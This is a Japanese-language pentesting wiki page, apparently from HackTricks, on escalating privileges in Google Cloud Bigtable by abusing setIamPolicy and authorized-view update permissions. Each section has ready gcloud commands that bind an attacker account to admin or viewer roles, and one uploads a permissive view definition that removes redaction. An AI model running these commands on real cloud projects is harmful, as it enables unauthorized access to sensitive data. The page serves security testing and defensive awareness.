# GCP - Bigtable Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Bigtable

Bigtableの詳細については次を参照してください:

{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}

### `bigtable.instances.setIamPolicy`

**権限:** `bigtable.instances.setIamPolicy`（通常、現在のバインディングを読むために `bigtable.instances.getIamPolicy` も必要）。

インスタンスのIAMポリシーを管理できれば、インスタンス内のすべてのクラスタ、テーブル、バックアップ、承認済みビューに波及する **`roles/bigtable.admin`**（または任意のカスタムロール）を自分に付与できます。

<details><summary>インスタンスに対して自分に roles/bigtable.admin ロールを付与する</summary>
```bash
gcloud bigtable instances add-iam-policy-binding <instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
</details>

> [!TIP]
> 既存のバインディングを一覧できない場合は、新しいポリシードキュメントを作成して、`gcloud bigtable instances set-iam-policy` で適用してください（自分の権限を維持できることが前提です）。

この権限を取得したら、Bigtable の権限を悪用する別の方法については [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照してください。

### `bigtable.tables.setIamPolicy`

**権限:** `bigtable.tables.setIamPolicy`（オプションで `bigtable.tables.getIamPolicy`）。

インスタンスのポリシーはロックダウンされ、個々のテーブルが委任されている場合があります。テーブルの IAM を編集できるなら、他のワークロードに影響を与えずに**対象データセットのオーナーに自分を昇格させる**ことができます。

<details><summary>テーブル上で自分に bigtable.admin ロールを付与する</summary>
```bash
gcloud bigtable tables add-iam-policy-binding <table-id> \
--instance=<instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
</details>

この権限を取得したら、[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照して、Bigtable 権限の悪用方法をさらに確認してください。


### `bigtable.backups.setIamPolicy`

**権限:** `bigtable.backups.setIamPolicy`

バックアップは、あなたが管理する**任意のプロジェクト内の任意のインスタンス**に復元できます。まず自身のアイデンティティにバックアップへのアクセス権を付与し、その後 Admin/Owner ロールを持つサンドボックスに復元してください。

もし `bigtable.backups.setIamPolicy` 権限を持っていれば、自分に `bigtable.backups.restore` 権限を付与して古いバックアップを復元し、機密情報にアクセスできるか試すことができます。

<details><summary>バックアップスナップショットの所有権を取得</summary>
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding <backup-id> \
--instance=<instance-id> --cluster=<cluster-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
</details>

この権限を得たら、バックアップを復元する方法は[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)を参照してください。


### authorized view を更新

**権限:** `bigtable.authorizedViews.update`

Authorized Views は行や列を抹消（redact）するためのものです。それらを変更または削除すると、防御側が頼りにしている**細かなガードレールが失われます**。

<details><summary>アクセス範囲を広げるために authorized view を更新</summary>
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update <view-id> \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/permissive-view.json --ignore-warnings

# Json example not filtering any row or column
cat <<'EOF' > /tmp/permissive-view.json
{
"subsetView": {
"rowPrefixes": [""],
"familySubsets": {
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
"qualifierPrefixes": [""]
}
}
}
}
EOF

# Describe the authorized view to get a family name
gcloud bigtable authorized-views describe <view-id> \
--instance=<instance-id> --table=<table-id>
```
</details>

この権限チェックについては [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照して、承認済みビューからの読み取り方法を確認してください。

### `bigtable.authorizedViews.setIamPolicy`

**権限:**  `bigtable.authorizedViews.setIamPolicy`.

この権限を持つ攻撃者は、自分自身に承認済みビューへのアクセス権を付与でき、通常はアクセスできない機密データを閲覧できる可能性があります。

<details><summary>自分に承認済みビューへのアクセスを付与する</summary>
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'
```
</details>

この権限チェックを行った後、[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) で authorized view からの読み取り方法を確認してください。



{{#include ../../../banners/hacktricks-training.md}}
